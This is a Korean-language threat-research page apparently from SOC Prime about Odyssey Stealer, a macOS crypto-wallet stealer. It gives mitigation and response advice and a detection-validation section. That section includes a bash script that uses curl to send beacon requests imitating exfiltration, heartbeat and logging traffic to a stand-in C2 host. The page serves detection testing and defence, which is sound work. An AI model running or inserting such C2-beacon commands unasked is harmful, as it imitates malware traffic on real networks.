SOC Prime Bias: 중간

13 Feb 2026 13:13 UTC

오디세이 스틸러: macOS 암호화폐 탈취 작업의 내부 탐험

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon 팔로우
오디세이 스틸러: macOS 암호화폐 탈취 작업의 내부 탐험
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

Odyssey Stealer는 암호화폐 지갑과 확장을 대상으로 하는 macOS 정보 탈취 프로그램입니다. 이는 중앙 집중식 C2와 관리 패널에 접근할 수 있는 멀웨어 서비스 플랫폼으로 마케팅됩니다. 전송은 일반적으로 C2가 명령을 폴링하는 지속적인 LaunchDaemon을 설치하는 폐색된 AppleScript에 의존하며, 운영자는 합법적인 Ledger 및 Trezor 앱을 트로이 목마 빌드로 대체하여 자격 증명과 거래 데이터를 캡처할 수 있습니다.

조사

연구원들은 고유한 HTML 메타 태그, 페이지 본문 해시 및 공유된 파비콘 해시를 사용하여 C2의 지문을 발견했습니다. 유럽과 네덜란드를 중심으로 여러 ASN 클러스터에 걸쳐 있는 10개의 물리적 호스트를 매핑했습니다. 페이로드 분해는 다중 AppleScript 드로퍼, LaunchDaemon 지속성 및 Go로 컴파일된 SOCKS5 프록시 바이너리를 드러냈습니다. 드로퍼에 포함된 구성 데이터는 제휴자 식별자와 빌드 ID를 노출시켰습니다.

완화

특히 긴 암호화 문자열, 랜덤 레이블이 부여된 미확인 LaunchDaemon plist 파일, ‘log’ 엔드포인트로의 아웃바운드 POST 요청에 대한 의심스러운 osascript 활동을 감시하세요. LaunchDaemon에서 생성된 바이너리와 의심스러운 SOCKS5 활동에 대한 경고를 설정하세요. Ledger 및 Trezor 애플리케이션에 대한 코드 서명을 확인하고, 알려진 C2 도메인과 IP 주소를 차단하세요. 예상치 못한 비밀번호 프롬프트와 ‘지갑 업데이트’를 고위험으로 간주하도록 사용자 교육을 실시하세요.

대응

탐지 시 시스템을 격리하고, 악성 LaunchDaemon을 종료하고 트로이 목마화된 지갑 애플리케이션을 제거합니다. 조사 목적으로 식별된 C2 도메인 및 IP로의 네트워크 트래픽을 캡처한 다음 노출된 암호화폐 자격 증명을 재설정하고 macOS 암호를 변경하세요. 추가적인 아티팩트를 식별하기 위해 전체 포렌식 검토를 수행하세요.

공격 흐름

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 점검은 통과해야 합니다.

  • 공격 서사 & 명령:
    공격자는 macOS 워크스테이션에 Odyssey Stealer를 배포했습니다. 사용자가 손상된 후 멀웨어는 C2 서버에 비콘을 발송하여 추가 페이로드를 다운로드하고 수집된 데이터를 유출합니다. 비콘은 네이티브 curl 바이너리(사인된 Apple 바이너리)를 사용하여 규칙에 정의된 C2 엔드포인트에 HTTP GET 요청을 발행합니다. 공격자는 이러한 특정 URI 경로를 선택합니다. 왜냐하면 그것들이 짧고 일반적인 웹 트래픽과 잘 어우러지며, 일반적인 URL 필터링 솔루션에 의해 탐지되지 않기 때문입니다.

    단계:

    1. C2 호스트명을 해결합니다(시뮬레이션한 c2.odyssey.example.com).
    2. GET 요청을 실행합니다 /d/aff123456 – 임의의 제휴 코드와 숫자 토큰을 사용하여 데이터 유출 엔드포인트를 모방합니다.
    3. GET 요청을 실행합니다 /api/v1/bot/ – 봇 관리 하트비트를 모의합니다.
    4. 선택적으로, 요청을 발송합니다 /log 멀웨어가 상태 보고를 위해 사용하는 내부 로깅 트래픽을 모방하기 위해.
  • 회귀 테스트 스크립트: 다음 bash 스크립트는 탐지 규칙을 트리거하는 데 필요한 정확한 트래픽을 재현합니다.

    #!/usr/bin/env bash
    # Odyssey Stealer C2 비콘 시뮬레이션 탐지 유효성 검증
    # 요구사항: curl, 네트워크 프록시가 사전 점검 단계에 따라 구성됨
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # Squid 프록시 주소에 맞춤 조정
    
    # 프록시를 통해 요청을 발송하는 함수
    send_request() {
        local path=$1
        echo "[*] 프록시 ${PROXY_HOST}를 통해 https://${C2_HOST}${path}로 요청을 발송합니다"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${path}"
    }
    
    # 1. 데이터 유출 엔드포인트 (임의의 제휴 + 숫자)
    AFFILIATE="aff$(shuf -i 1000-9999 -n 1)"
    DIGITS=$(shuf -i 10000-99999 -n 1)
    send_request "/d/${AFFILIATE}${DIGITS}"
    
    # 2. 봇 관리 하트비트
    send_request "/api/v1/bot/"
    
    # 3. 선택적 로깅 엔드포인트
    send_request "/log"
    
    echo "[+] 시뮬레이션 완료. SIEM에서 경고를 확인하세요."

    스크립트를 저장합니다 odyssey_beacon.sh실행 권한을 부여하고 (chmod +x odyssey_beacon.sh), macOS 테스트 호스트에서 실행합니다.

  • 정리 명령: 임시 파일을 제거하고 선택적으로 테스트 사용자의 프록시를 비활성화하십시오.

    # Wi‑Fi 인터페이스의 프록시 설정 비활성화
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (선택 사항) 이 테스트를 위해 Squid가 단독으로 시작되었을 경우 중지
    # brew services stop squid
    echo "프록시 설정 복원 및 Squid 중지(해당 경우에 한함)."